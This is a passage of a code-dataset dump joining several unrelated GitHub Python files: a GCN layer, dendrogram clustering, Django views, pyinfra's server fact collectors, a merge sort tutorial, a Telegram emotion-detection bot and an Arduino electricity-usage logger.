to_torch_coo_tensor(edge_index, edge_attr=edge_weight, size=(num_nodes, num_nodes))\n\n #applying linear layer to node features\n x = self.lin(x)\n\n #calculating the normalization\n row, col = edge_index\n deg = degree(col, num_nodes, dtype=x.dtype).unsqueeze(1)\n deg_inv_sqrt = deg.pow(-0.5)\n deg_inv_sqrt[deg_inv_sqrt == float('inf')] = 0\n\n norm = deg_inv_sqrt[row] * edge_weight * deg_inv_sqrt[col]\n\n out = self.propagate(edge_index, x=x, norm=norm)\n\n return out\n\n#Graph Convolutional Neural Network with an arbitrary number of Graph Convolutional layers; after each of them the ReLU activation function is used\nclass GCN(torch.nn.Module):\n def __init__(self, dim, edges_dim=1, nr_layers=1):\n assert nr_layers >= 1\n\n super(GCN, self).__init__()\n\n self.dim = dim\n self.edges_dim = edges_dim\n self.nr_layers = nr_layers\n\n layers = []\n for layer_index in range(nr_layers):\n layers += [GCNConvLayer(dim, dim), nn.ReLU()]\n\n self.layers = nn.ModuleList(layers)\n\n def forward(self, x, edge_index, edge_weight):\n for layer in self.layers:\n if isinstance(layer, GCNConvLayer):\n x = layer(x, edge_index, edge_weight)\n else:\n x = layer(x)\n return x\n\n#overridden processor part with Graph Convolutional Network with 4 GCN layers\nclass EncodeProcessDecodeAlgorithmGCN(encodeDecode.EncodeProcessDecodeAlgorithm):\n def _construct_processor(self):\n return GCN(dim=self.hidden_dim, nr_layers=4)\n","repo_name":"KatarinaGacina/GNNs-Hamiltonian-cycles","sub_path":"hamgnn/nn_modules/GraphConvolutionalNN.py","file_name":"GraphConvolutionalNN.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"75026788892","text":"\nfrom scipy.cluster.hierarchy import dendrogram\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nclass Dendrogram:\n \n def _plot_dendrogram(self, linkage, cut_off, labels, figsize=(10, 5), orientation='right'):\n \"\"\"\n The method to plot dendrogram diagram.\n \n Parameters\n ----------\n linkage : array\n The linkage matrix.\n cut_off : float\n The cut-off height.\n labels : list\n The list of documents' title.\n figsize : tuple\n The size of the dendrogram figure. The default is [10, 5].\n orientation : string\n The figure orientation. The default is right.\n\n Returns\n -------\n fig : figure\n The figure of the dendrogram.\n\n \"\"\"\n fig = plt.figure(figsize=figsize, dpi=100 if orientation == 'top' else None)\n self.__dend = dendrogram(linkage,\n orientation=orientation,\n color_threshold=cut_off,\n labels=labels)\n \n # Cut the dendrogram at cut-off height.\n # Check whether the figure is shown horizontally or vertically.\n if cut_off != 0:\n if orientation == 'right':\n plt.axvline(x=cut_off, linestyle='dashed')\n else:\n plt.axhline(y=cut_off, linestyle='dashed')\n return fig\n \n def _extract_clusters_by_color(self):\n \"\"\"\n The method to extract a list of objects of each clusters in the dendrogram based on colors.\n Shout out to http://www.nxn.se/valent/extract-cluster-elements-by-color-in-python.\n \n Returns\n -------\n cluster_list : dictionary\n The list of objects of each clusters.\n Written as {cluster1: [doc1, doc2], cluster2: [doc3], etc.}.\n\n \"\"\"\n cluster_list = {}\n for c, pi in zip(self.__dend['color_list'], self.__dend['icoord']):\n for leg in pi[1:3]:\n i = (leg - 5) / 10\n if abs(i - int(i)) <= 0:\n if c not in cluster_list:\n cluster_list[c] = []\n cluster_list[c].append(self.__dend['ivl'][int(i)])\n return cluster_list","repo_name":"williamo1099/Automated-Document-Clusterer","sub_path":"app/clustering/Dendrogram.py","file_name":"Dendrogram.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31361758428","text":"\nfrom datetime import datetime \nfrom django.http import HttpResponse\nfrom django.urls import reverse\nfrom django.shortcuts import render, redirect\nfrom django.template import loader\nfrom django.http import HttpResponse, JsonResponse\nfrom cac.forms import ContactoForm\nfrom django.contrib import messages\n\n# Create your views here.\ndef index(request):\n \n listado_cursos = [\n {\n 'nombre':'Fullstack Java',\n 'descripcion':'Curso de Fullstack',\n 'categoria':'Programación'\n },\n {\n 'nombre':'Diseño UX/IU',\n 'descripcion':'🎨',\n 'categoria':'Diseño'\n },\n {\n 'nombre':'Big Data',\n 'descripcion':'test',\n 'categoria':'Analisis de Datos'\n },\n ]\n \n if(request.method == 'POST'):\n contacto_form = ContactoForm(request.POST)\n \n if(contacto_form.is_valid()):\n #debería validar y realizar alguna acción\n messages.success(request, 'Muchas gracias por contactarete, te estaremos respondiendo en breve')\n contacto_form=ContactoForm() #instancio para que me limpie el form una vez enviado\n else:\n messages.error(request, 'Por favor revisa los errores')\n else:\n contacto_form = ContactoForm()\n\n return render(request,'cac/publica/index.html',{\n 'cursos':listado_cursos,\n 'contacto_form':contacto_form,\n })\n #opcion 1 para renderizar\n\ndef quienes_somos(request):\n #return redirect('saludar_por_defeto')\n #return redirect(reverse('saludar', kwargs={'nombre: Roberto'}))\n template = loader.get_template('cac/publica/quienes_somos.html')\n context = {'titulo': 'Codo a Codo - Quienes Somos'}\n return HttpResponse(template.render(context,request))\n #opcion 2 para renderizar\n\ndef ver_proyectos(request,anio=2022,mes=1):\n proyectos = []\n return render(request,'cac/publica/proyectos.html',{'proyectos':proyectos})\n\ndef ver_cursos(request):\n listado_cursos = [\n {\n 'nombre':'Fullstack Java',\n 'descripcion':'Curso de Fullstack',\n 'categoria':'Programación'\n },\n {\n 'nombre':'Diseño UX/IU',\n 'descripcion':'🎨',\n 'categoria':'Diseño'\n },\n {\n 'nombre':'Big Data',\n 'descripcion':'test',\n 'categoria':'Analisis de Datos'\n },\n ]\n\n return render(request,'cac/publica/cursos.html',{'cursos':listado_cursos})\n\ndef index_administracion(request):\n variable = 'test variable'\n return render(request,'cac/administracion/index_administracion.html',{'variable':variable})\n\n\ndef api_proyectos(request,):\n proyectos = [{\n 'autor': 'Gustavo Villegas',\n 'portada': 'https://agenciadeaprendizaje.bue.edu.ar/wp-content/uploads/2021/12/Gustavo-Martin-Villegas-300x170.png',\n 'url':'https://marvi-artarg.web.app/'\n },{\n 'autor': 'Enzo Martín Zotti',\n 'portada': 'https://agenciadeaprendizaje.bue.edu.ar/wp-content/uploads/2022/01/Enzo-Martin-Zotti-300x170.jpg',\n 'url':'https://hablaconmigo.com.ar/'\n },{\n 'autor': 'María Echevarría',\n 'portada': 'https://agenciadeaprendizaje.bue.edu.ar/wp-content/uploads/2022/01/Maria-Echevarria-300x170.jpg',\n 'url':'https://compassionate-colden-089e8a.netlify.app/'\n },]\n response = {'status':'Ok','code':200,'message':'Listado de proyectos','data':proyectos}\n return JsonResponse(response,safe=False)\n# def hola_mundo(request):\n# return HttpResponse('Hola Mundo Django')\n\n# def saludar(request, nombre='Pepe'):\n# return HttpResponse(f\"\"\"\n#

    Hola Mundo Django - {nombre}

    \n#

    Estoy haciendo mi primera prueba

    \n# \"\"\")\n\n# def ver_proyectos_2022_07(request):\n# return HttpResponse(f\"\"\"\n#

    proyecto del mes 7 del año 2022

    \n#

    Mis proyectos

    \n# \"\"\") \n\n# def ver_proyectos(request,anio, mes=1):\n# return HttpResponse(f\"\"\"\n#

    Proyectos del - {mes}/{anio}

    \n#

    Mis proyectos

    \n# \"\"\")\n\n# def ver_proyectos_anio(request,anio):\n# return HttpResponse(f\"\"\"\n#

    Proyectos del - {anio}

    \n#

    Mis proyectos

    \n# \"\"\")\n\n\n\n\n# def cursos_detalle(request,nombre_curso):\n# return HttpResponse(f\"\"\"\n#

    {nombre_curso}

    \n# \"\"\")\n\n# def cursos(request,nombre):\n# return HttpResponse(f\"\"\"\n#

    {nombre}

    \n# \"\"\")","repo_name":"nfnakamura/proyecto_22819","sub_path":"cac/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4591,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12057748059","text":"# Các lệnh thao tác với danh sách\nloaihoa = [\"hong\",\"hue\",\"layon\",\"loaken\",\"nhai\"]\nloaihoa_nhom1 = []\nloaihoa_nhom2 = []\n\n\ncount = 1\nfor x in loaihoa:\n if count >= 4:\n loaihoa_nhom1.append(x)\n else:\n loaihoa_nhom2.append(x)\n count += 1\nprint(loaihoa_nhom1)\nprint(loaihoa_nhom2)\n","repo_name":"aerovfx/Fullstack4kid","sub_path":"API/HoudiniPythonApi/Chuong1/HPA_EXTRACTLIST.PY","file_name":"HPA_EXTRACTLIST.PY","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"vi","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"70513593052","text":"import os\nimport re\nimport shutil\nfrom datetime import datetime\nfrom tempfile import mkdtemp\n\nfrom dateutil.parser import parse as parse_date\nfrom distro import distro\n\nfrom pyinfra.api import FactBase, ShortFactBase\nfrom pyinfra.api.util import try_int\n\nISO_DATE_FORMAT = \"%Y-%m-%dT%H:%M:%S%z\"\n\n\nclass User(FactBase):\n \"\"\"\n Returns the name of the current user.\n \"\"\"\n\n command = \"echo $USER\"\n\n\nclass Home(FactBase):\n \"\"\"\n Returns the home directory of the current user.\n \"\"\"\n\n command = \"echo $HOME\"\n\n\nclass Path(FactBase):\n \"\"\"\n Returns the path environment variable of the current user.\n \"\"\"\n\n command = \"echo $PATH\"\n\n\nclass Hostname(FactBase):\n \"\"\"\n Returns the current hostname of the server.\n \"\"\"\n\n command = \"uname -n\"\n\n\nclass Kernel(FactBase):\n \"\"\"\n Returns the kernel name according to ``uname``.\n \"\"\"\n\n command = \"uname -s\"\n\n\nclass KernelVersion(FactBase):\n \"\"\"\n Returns the kernel version according to ``uname``.\n \"\"\"\n\n command = \"uname -r\"\n\n\n# Deprecated/renamed -> Kernel\nclass Os(FactBase):\n \"\"\"\n Returns the OS name according to ``uname``.\n\n .. warning::\n This fact is deprecated/renamed, please use the ``server.Kernel`` fact.\n \"\"\"\n\n command = \"uname -s\"\n\n\n# Deprecated/renamed -> KernelVersion\nclass OsVersion(FactBase):\n \"\"\"\n Returns the OS version according to ``uname``.\n\n .. warning::\n This fact is deprecated/renamed, please use the ``server.KernelVersion`` fact.\n \"\"\"\n\n command = \"uname -r\"\n\n\nclass Arch(FactBase):\n \"\"\"\n Returns the system architecture according to ``uname``.\n \"\"\"\n\n # ``uname -p`` is not portable and returns ``unknown`` on Debian.\n # ``uname -m`` works on most Linux and BSD systems.\n command = \"uname -m\"\n\n\nclass Command(FactBase):\n \"\"\"\n Returns the raw output lines of a given command.\n \"\"\"\n\n @staticmethod\n def command(command):\n return command\n\n\nclass Which(FactBase):\n \"\"\"\n Returns the path of a given command, if available.\n \"\"\"\n\n @staticmethod\n def command(command):\n return \"which {0} || true\".format(command)\n\n\nclass Date(FactBase):\n \"\"\"\n Returns the current datetime on the server.\n \"\"\"\n\n command = f\"date +'{ISO_DATE_FORMAT}'\"\n default = datetime.now\n\n @staticmethod\n def process(output):\n return datetime.strptime(output[0], ISO_DATE_FORMAT)\n\n\nclass MacosVersion(FactBase):\n \"\"\"\n Returns the installed MacOS version.\n \"\"\"\n\n command = \"sw_vers -productVersion\"\n requires_command = \"sw_vers\"\n\n\nclass Mounts(FactBase):\n \"\"\"\n Returns a dictionary of mounted filesystems and information.\n\n .. code:: python\n\n {\n \"/\": {\n \"device\": \"/dev/mv2\",\n \"type\": \"ext4\",\n \"options\": [\n \"rw\",\n \"relatime\"\n ]\n },\n }\n \"\"\"\n\n command = \"mount\"\n default = dict\n\n @staticmethod\n def process(output):\n devices = {}\n\n for line in output:\n is_map = False\n if line.startswith(\"map \"):\n line = line[4:]\n is_map = True\n\n device, _, path, other_bits = line.split(\" \", 3)\n\n if is_map:\n device = \"map {0}\".format(device)\n\n if other_bits.startswith(\"type\"):\n _, type_, options = other_bits.split(\" \", 2)\n options = options.strip(\"()\").split(\",\")\n else:\n options = other_bits.strip(\"()\").split(\",\")\n type_ = options.pop(0)\n\n devices[path] = {\n \"device\": device,\n \"type\": type_,\n \"options\": [option.strip() for option in options],\n }\n\n return devices\n\n\nclass KernelModules(FactBase):\n \"\"\"\n Returns a dictionary of kernel module name -> info.\n\n .. code:: python\n\n {\n \"module_name\": {\n \"size\": 0,\n \"instances\": 0,\n \"state\": \"Live\",\n },\n }\n \"\"\"\n\n command = \"! test -f /proc/modules || cat /proc/modules\"\n default = dict\n\n @staticmethod\n def process(output):\n modules = {}\n\n for line in output:\n name, size, instances, depends, state, _ = line.split(\" \", 5)\n instances = int(instances)\n\n module = {\n \"size\": size,\n \"instances\": instances,\n \"state\": state,\n }\n\n if depends != \"-\":\n module[\"depends\"] = [value for value in depends.split(\",\") if value]\n\n modules[name] = module\n\n return modules\n\n\nclass LsbRelease(FactBase):\n \"\"\"\n Returns a dictionary of release information using ``lsb_release``.\n\n .. code:: python\n\n {\n \"id\": \"Ubuntu\",\n \"description\": \"Ubuntu 18.04.2 LTS\",\n \"release\": \"18.04\",\n \"codename\": \"bionic\",\n ...\n }\n \"\"\"\n\n command = \"lsb_release -ca\"\n requires_command = \"lsb_release\"\n\n @staticmethod\n def process(output):\n items = {}\n\n for line in output:\n if \":\" not in line:\n continue\n\n key, value = line.split(\":\", 1)\n\n key = key.strip().lower()\n\n # Turn \"distributor id\" into \"id\"\n if \" \" in key:\n key = key.split(\" \")[-1]\n\n value = value.strip()\n\n items[key] = value\n\n return items\n\n\nclass Sysctl(FactBase):\n \"\"\"\n Returns a dictionary of sysctl settings and values.\n\n .. code:: python\n\n {\n \"fs.inotify.max_queued_events\": 16384,\n \"fs.inode-state\": [\n 44565,\n 360,\n ],\n }\n \"\"\"\n\n command = \"sysctl -a\"\n default = dict\n\n @staticmethod\n def process(output):\n sysctls = {}\n\n for line in output:\n key = values = None\n\n if \"=\" in line:\n key, values = line.split(\"=\", 1)\n elif \":\" in line:\n key, values = line.split(\":\", 1)\n else:\n continue # pragma: no cover\n\n if key and values:\n key = key.strip()\n values = values.strip()\n\n if re.match(r\"^[a-zA-Z0-9_\\.\\s]+$\", values):\n values = [try_int(item.strip()) for item in values.split()]\n\n if len(values) == 1:\n values = values[0]\n\n sysctls[key] = values\n\n return sysctls\n\n\nclass Groups(FactBase):\n \"\"\"\n Returns a list of groups on the system.\n \"\"\"\n\n command = \"cat /etc/group\"\n default = list\n\n @staticmethod\n def process(output):\n groups = []\n\n for line in output:\n if \":\" in line:\n groups.append(line.split(\":\")[0])\n\n return groups\n\n\nclass Crontab(FactBase):\n \"\"\"\n Returns a dictionary of cron command -> execution time.\n\n .. code:: python\n\n {\n \"/path/to/command\": {\n \"minute\": \"*\",\n \"hour\": \"*\",\n \"month\": \"*\",\n \"day_of_month\": \"*\",\n \"day_of_week\": \"*\",\n },\n \"echo another command\": {\n \"special_time\": \"@daily\",\n },\n }\n \"\"\"\n\n default = dict\n\n requires_command = \"crontab\"\n\n @staticmethod\n def command(user=None):\n if user:\n return \"crontab -l -u {0} || true\".format(user)\n return \"crontab -l || true\"\n\n @staticmethod\n def process(output):\n crons = {}\n current_comments = []\n\n for line in output:\n line = line.strip()\n if not line or line.startswith(\"#\"):\n current_comments.append(line)\n continue\n\n if line.startswith(\"@\"):\n special_time, command = line.split(None, 1)\n crons[command] = {\n \"special_time\": special_time,\n \"comments\": current_comments,\n }\n else:\n minute, hour, day_of_month, month, day_of_week, command = line.split(None, 5)\n crons[command] = {\n \"minute\": try_int(minute),\n \"hour\": try_int(hour),\n \"month\": try_int(month),\n \"day_of_month\": try_int(day_of_month),\n \"day_of_week\": try_int(day_of_week),\n \"comments\": current_comments,\n }\n\n current_comments = []\n return crons\n\n\nclass Users(FactBase):\n \"\"\"\n Returns a dictionary of users -> details.\n\n .. code:: python\n\n {\n \"user_name\": {\n \"comment\": \"Full Name\",\n \"home\": \"/home/user_name\",\n \"shell\": \"/bin/bash,\n \"group\": \"main_user_group\",\n \"groups\": [\n \"other\",\n \"groups\"\n ],\n \"uid\": user_id,\n \"gid\": main_user_group_id,\n \"lastlog\": last_login_time,\n },\n }\n \"\"\"\n\n command = \"\"\"\n for i in `cat /etc/passwd | cut -d: -f1`; do\n ENTRY=`grep ^$i: /etc/passwd`;\n LASTLOG_RAW=`(lastlog -u $i 2> /dev/null || lastlogin $i 2> /dev/null)`;\n LASTLOG=`echo $LASTLOG_RAW | grep ^$i | tr -s ' '`;\n echo \"$ENTRY|`id -gn $i`|`id -Gn $i`|$LASTLOG\";\n done\n \"\"\".strip()\n\n default = dict\n\n def process(self, output):\n users = {}\n rex = r\"[A-Z][a-z]{2} [A-Z][a-z]{2} {1,2}\\d+ .+$\"\n\n for line in output:\n entry, group, user_groups, lastlog = line.split(\"|\")\n\n if entry:\n # Parse out the comment/home/shell\n entries = entry.split(\":\")\n\n # Parse groups\n groups = []\n for group_name in user_groups.split(\" \"):\n # We only want secondary groups here\n if group_name and group_name != group:\n groups.append(group_name)\n\n raw_login_time = None\n login_time = None\n\n # Parse lastlog info\n # lastlog output varies, which is why I use regex to match login time\n login = re.search(rex, lastlog)\n if login:\n raw_login_time = login.group()\n login_time = parse_date(raw_login_time)\n\n users[entries[0]] = {\n \"home\": entries[5] or None,\n \"comment\": entries[4] or None,\n \"shell\": entries[6] or None,\n \"group\": group,\n \"groups\": groups,\n \"uid\": int(entries[2]),\n \"gid\": int(entries[3]),\n \"lastlog\": raw_login_time,\n \"login_time\": login_time,\n }\n\n return users\n\n\nclass LinuxDistribution(FactBase):\n \"\"\"\n Returns a dict of the Linux distribution version. Ubuntu, Debian, CentOS,\n Fedora & Gentoo currently. Also contains any key/value items located in\n release files.\n\n .. code:: python\n\n {\n \"name\": \"Ubuntu\",\n \"major\": 20,\n \"minor\": 04,\n \"release_meta\": {\n \"CODENAME\": \"focal\",\n \"ID_LIKE\": \"debian\",\n ...\n }\n }\n \"\"\"\n\n command = (\n \"cd /etc/ && for file in $(ls -pdL *-release | grep -v /); \"\n 'do echo \"/etc/${file}\"; cat \"/etc/${file}\"; echo ---; '\n \"done\"\n )\n\n name_to_pretty_name = {\n \"alpine\": \"Alpine\",\n \"centos\": \"CentOS\",\n \"fedora\": \"Fedora\",\n \"gentoo\": \"Gentoo\",\n \"opensuse\": \"openSUSE\",\n \"rhel\": \"RedHat\",\n \"ubuntu\": \"Ubuntu\",\n \"debian\": \"Debian\",\n }\n\n @staticmethod\n def default():\n return {\n \"name\": None,\n \"major\": None,\n \"minor\": None,\n \"release_meta\": {},\n }\n\n def process(self, output):\n parts = {}\n for part in \"\\n\".join(output).strip().split(\"---\"):\n if not part.strip():\n continue\n try:\n filename, content = part.strip().split(\"\\n\", 1)\n parts[filename] = content\n except ValueError:\n # skip empty files\n # for instance arch linux as an empty file at /etc/arch-release\n continue\n\n release_info = self.default()\n if not parts:\n return release_info\n\n temp_root = mkdtemp()\n try:\n temp_etc_dir = os.path.join(temp_root, \"etc\")\n os.mkdir(temp_etc_dir)\n\n for filename, content in parts.items():\n with open(\n os.path.join(temp_etc_dir, os.path.basename(filename)), \"w\", encoding=\"utf-8\"\n ) as fp:\n fp.write(content)\n\n parsed = distro.LinuxDistribution(\n root_dir=temp_root,\n include_lsb=False,\n include_uname=False,\n )\n\n release_meta = {key.upper(): value for key, value in parsed.os_release_info().items()}\n # Distro 1.7+ adds this, breaking tests\n # TODO: fix this!\n release_meta.pop(\"RELEASE_CODENAME\", None)\n\n release_info.update(\n {\n \"name\": self.name_to_pretty_name.get(parsed.id(), parsed.name()),\n \"major\": try_int(parsed.major_version()) or None,\n \"minor\": try_int(parsed.minor_version()) or None,\n \"release_meta\": release_meta,\n },\n )\n\n finally:\n shutil.rmtree(temp_root)\n\n return release_info\n\n\nclass LinuxName(ShortFactBase):\n \"\"\"\n Returns the name of the Linux distribution. Shortcut for\n ``host.get_fact(LinuxDistribution)['name']``.\n \"\"\"\n\n fact = LinuxDistribution\n\n @staticmethod\n def process_data(data):\n return data[\"name\"]\n\n\nclass Selinux(FactBase):\n \"\"\"\n Discovers the SELinux related facts on the target host.\n\n .. code:: python\n\n {\n \"mode\": \"enabled\",\n }\n \"\"\"\n\n command = \"sestatus\"\n requires_command = \"sestatus\"\n\n @staticmethod\n def default():\n return {\n \"mode\": None,\n }\n\n def process(self, output):\n selinux_info = self.default()\n\n match = re.match(r\"^SELinux status:\\s+(\\S+)\", \"\\n\".join(output))\n\n if not match:\n return selinux_info\n\n selinux_info[\"mode\"] = match.group(1)\n\n return selinux_info\n\n\nclass LinuxGui(FactBase):\n \"\"\"\n Returns a list of available Linux GUIs.\n \"\"\"\n\n command = \"ls /usr/bin/*session || true\"\n default = list\n\n known_gui_binaries = {\n \"/usr/bin/gnome-session\": \"GNOME\",\n \"/usr/bin/mate-session\": \"MATE\",\n \"/usr/bin/lxsession\": \"LXDE\",\n \"/usr/bin/plasma_session\": \"KDE Plasma\",\n \"/usr/bin/xfce4-session\": \"XFCE 4\",\n }\n\n def process(self, output):\n gui_names = []\n\n for line in output:\n gui_name = self.known_gui_binaries.get(line)\n if gui_name:\n gui_names.append(gui_name)\n\n return gui_names\n\n\nclass HasGui(ShortFactBase):\n \"\"\"\n Returns a boolean indicating the remote side has GUI capabilities. Linux only.\n \"\"\"\n\n fact = LinuxGui\n\n @staticmethod\n def process_data(data):\n return len(data) > 0\n\n\nclass Locales(FactBase):\n \"\"\"\n Returns installed locales on the target host.\n\n .. code:: python\n\n [\"C.UTF-8\", \"en_US.UTF-8\"]\n \"\"\"\n\n command = \"locale -a\"\n requires_command = \"locale\"\n default = list\n\n def process(self, output):\n # replace utf8 with UTF-8 to match names in /etc/locale.gen\n # return a list of enabled locales\n return [line.replace(\"utf8\", \"UTF-8\") for line in output]\n","repo_name":"Fizzadar/pyinfra","sub_path":"pyinfra/facts/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":16093,"program_lang":"python","lang":"en","doc_type":"code","stars":2300,"dataset":"github-code","pt":"32"} +{"seq_id":"26983775269","text":"# a ideia por trás do merge sort consiste em separar uma lista dividindo ao meio até que cada elemento corresponda a uma lista\n# por exemplo, a lista [1,5,6,8,4,3] se tornaria [1], [5], [6], [8], [4], [3]\n# em seguida, fazemos a ordenação em pares\n\n# Para isso, precisamos de uma helper function chamada merge\n# essa função pega duas listas e itera por elas fazendo a comparação entre seus items e armazenando eu uma nova lista os maiores\n# assim que uma das listas estiver vazia, os elementos da segunda são comparados e inseridos na lista em ordem\n\nfrom operator import le\n\n\ndef merge(list1, list2):\n combined = []\n i = 0\n j=0\n while i < len(list1) and j < len(list2):\n if list1[i] < list2[j]:\n combined.append(list1[i])\n i += 1\n elif list2[j] < list1[i]:\n combined.append(list2[j])\n j += 1\n while i < len(list1):\n combined.append(list1[i])\n i += 1\n while j < len(list2):\n combined.append(list2[j])\n j += 1\n \n return combined\n\n# print(merge([1,2,7,8], [3,4,5,6]))\n\ndef merge_sort(my_list):\n if len(my_list) == 1:\n return my_list\n mid = int(len(my_list)/2)\n left = my_list[:mid]\n right = my_list[mid:]\n return merge(merge_sort(left), merge_sort(right))\n\n\nprint(merge_sort([3,1,4,2]))","repo_name":"gbr-mendes/python-training","sub_path":"algoritims/merge_sort/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31433944488","text":"from telegram import Update\nfrom telegram.ext import (\n Application,\n CommandHandler,\n ContextTypes,\n MessageHandler,\n filters,\n)\nfrom transformers import pipeline, AutoTokenizer, AutoModelForCausalLM\nfrom dotenv import load_dotenv\nimport os\nimport yaml\nfrom src.utils.utils import fix_text\n\n\nENV_PATH = \"../.env/\"\n\nload_dotenv(f\"{ENV_PATH}vkr.env\")\n\nthreshold = 0.4\n\nwith open(\"strings/cedr.yaml\", \"r\") as f:\n cedr_strings = yaml.safe_load(f)\n\nwith open(\"strings/ru-go-emotions.yaml\", \"r\") as f:\n ru_go_emotions_strings = yaml.safe_load(f)\n\nwith open(\"strings/russian-sentiment.yaml\", \"r\") as f:\n russian_sentiment_strings = yaml.safe_load(f)\n\ncedr = pipeline(model=\"seara/rubert-tiny2-cedr\", device=0)\nru_go_emotions = pipeline(model=\"seara/rubert-tiny2-ru-go-emotions\", device=0)\nrussian_sentiment = pipeline(model=\"seara/rubert-tiny2-russian-sentiment\", device=0)\n\n\n# tokenizer = AutoTokenizer.from_pretrained(\"VadimAI/Dialog-system\")\n# model = AutoModelForCausalLM.from_pretrained(\"VadimAI/Dialog-system\")\n# model.cuda()\n\n# tokenizer.pad_token = tokenizer.eos_token\n\nprint(\"Loaded models\")\n\n\ndef get_emotions(text, threshold, top_k=3):\n gm = ru_go_emotions(text, top_k=top_k, truncation=True)\n gm_processed = [item for item in gm if item[\"score\"] >= threshold]\n if not gm_processed:\n gm_processed.append(gm[0])\n\n cr = cedr(text, top_k=top_k, truncation=True)\n cr_processed = [item for item in cr if item[\"score\"] >= threshold]\n if not cr_processed:\n cr_processed.append(cr[0])\n\n rs = russian_sentiment(text, truncation=True, max_length=100)\n\n return {\n \"ru-go-emotions\": gm_processed,\n \"cedr\": cr_processed,\n \"russian-sentiment\": rs,\n }\n\n\ndef form_answer(text, threshold):\n emotions = get_emotions(text, threshold)\n answer = []\n emotions_set = []\n for key, value in emotions.items():\n answer.append(f\"Датасет: {fix_text(key)}\\n\")\n for score in value:\n if key == \"ru-go-emotions\":\n label = ru_go_emotions_strings[score[\"label\"]]\n elif key == \"cedr\":\n label = cedr_strings[score[\"label\"]]\n elif key == \"russian-sentiment\":\n label = russian_sentiment_strings[score[\"label\"]]\n new_string = fix_text(f\"{label}: {score['score']*100:.2f}%\")\n answer.append(f\"*{new_string}*\\n\")\n emotions_set.append(fix_text(label))\n answer.append(\"\\n\")\n answer = \"\".join(answer)\n return answer, set(emotions_set)\n\n\n# def generate_response(prompt, max_length=256):\n# input_ids = tokenizer.encode(prompt, return_tensors=\"pt\")\n\n# input_ids = input_ids.to(model.device)\n\n# output = model.generate(\n# input_ids, max_length=max_length, num_return_sequences=1, temperature=1000\n# )\n\n# full_response = tokenizer.decode(output[0], skip_special_tokens=True)\n\n# bot_index = full_response.find(\"\")\n\n# if bot_index != -1:\n# response = full_response[bot_index + 5 :].strip()\n# else:\n# response = full_response.strip()\n\n# return response\n\n\nasync def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n print(update.message.text)\n answer, emotions = form_answer(update.message.text, threshold)\n print(emotions)\n await update.message.reply_text(\n \"Найденные эмоции: \" + f\"*{', '.join(emotions)}*\", parse_mode=\"MARKDOWNV2\"\n )\n # await update.message.reply_text(answer, parse_mode=\"MARKDOWNV2\")\n # await update.message.reply_text(generate_response(update.message.text))\n\n\nasync def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n await update.message.reply_text(\"Напишите сообщение\")\n\n\ndef main() -> None:\n application = Application.builder().token(os.environ[\"TG_TOKEN\"]).build()\n\n application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))\n application.add_handler(CommandHandler(\"start\", start))\n\n application.run_polling()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"searayeah/bert-russian-sentiment-emotion","sub_path":"notebooks/.trash/telegram_deploy.py","file_name":"telegram_deploy.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"7772212222","text":"#FILE: kWh.py\r\n#NAME: Michael Edukonis\r\n#DATE: MArch 24, 2019\r\n#DESCRIPTION: kWh.py is a test program receiving output from arduino board connected to two 250 amp split core\r\n#current transformers around the two main legs of a US residential electric supply. Updates are received every\r\n#two seconds and stored in mysql database on another machine for analysis and graphing. \r\n\r\nfrom serial import Serial\r\nfrom datetime import datetime\r\nfrom time import sleep\r\nimport time \r\nimport os\r\nimport mysql.connector as mariadb\r\n\r\nrate = 0.1059385 #from march 2019 electric bill\r\ncost = 0.00\r\nstartTime = time.time()\r\nstart = datetime.now()\r\nserial_port = Serial('COM5', 9600, timeout=0)\r\nstartingTime = start.strftime('%X')\r\nstartingDate = start.strftime('%m/%d/%Y')\r\nmariadb_connection = mariadb.connect(host='', port='3306', user='', password='', database='electricity')\r\ncursor = mariadb_connection.cursor()\r\n\r\nwhile True:\r\n days, rem = divmod(time.time()-startTime, 86400)\r\n hours, rem = divmod(rem, 3600)\r\n minutes, seconds = divmod(rem, 60)\r\n if(serial_port.inWaiting()>0):\r\n sleep(.1)\r\n os.system('cls')\r\n t = datetime.now()\r\n line = serial_port.readline().decode('utf-8')\r\n measurement = line.split(',')\r\n stampTime = datetime.now()\r\n dateToStamp = stampTime.strftime('%Y-%m-%d')\r\n timeToStamp = stampTime.strftime('%X')\r\n measurement.append(dateToStamp)\r\n measurement.append(timeToStamp)\r\n \r\n #getting occassional bad measurement locking it up.\r\n #next two lines make sure that measurement[2] (the total kWh)\r\n #is a valid string that can be converted to a float i.e.\r\n #number, decimal point, number with no additional decimal\r\n #points that happened occasionally from a bad read over serial\r\n \r\n measTwo = measurement[2].split('.') #split measurement[2] along it's decimal point[s]\r\n measurement[2] = measTwo[0] + '.' + measTwo[1] #piece together only the integer part, decimal, and fractional part\r\n \r\n cost = float(measurement[2]) * rate\r\n print(\"Prog Start Time: \" + \"\\t\" + startingTime + \"\\t\" + startingDate)\r\n print(\"Elapsed: \" + \"\\t\\tDays: {:0>2}\\t{:0>2}:{:0>2}:{:02.0f}\\n\".format(int(days),int(hours),int(minutes),seconds))\r\n print(\"Measurement time stamp: \" + measurement[3] + \" \" + measurement[4])\r\n print(\"Left: \" + measurement[0] + \"\\t\" + \"Right: \" + measurement[1] + \"\\t\" + \"kWh: \" + measurement[2] + \"\\t\" + \"Cost: \" + \"{0:.3f}\".format(cost))\r\n 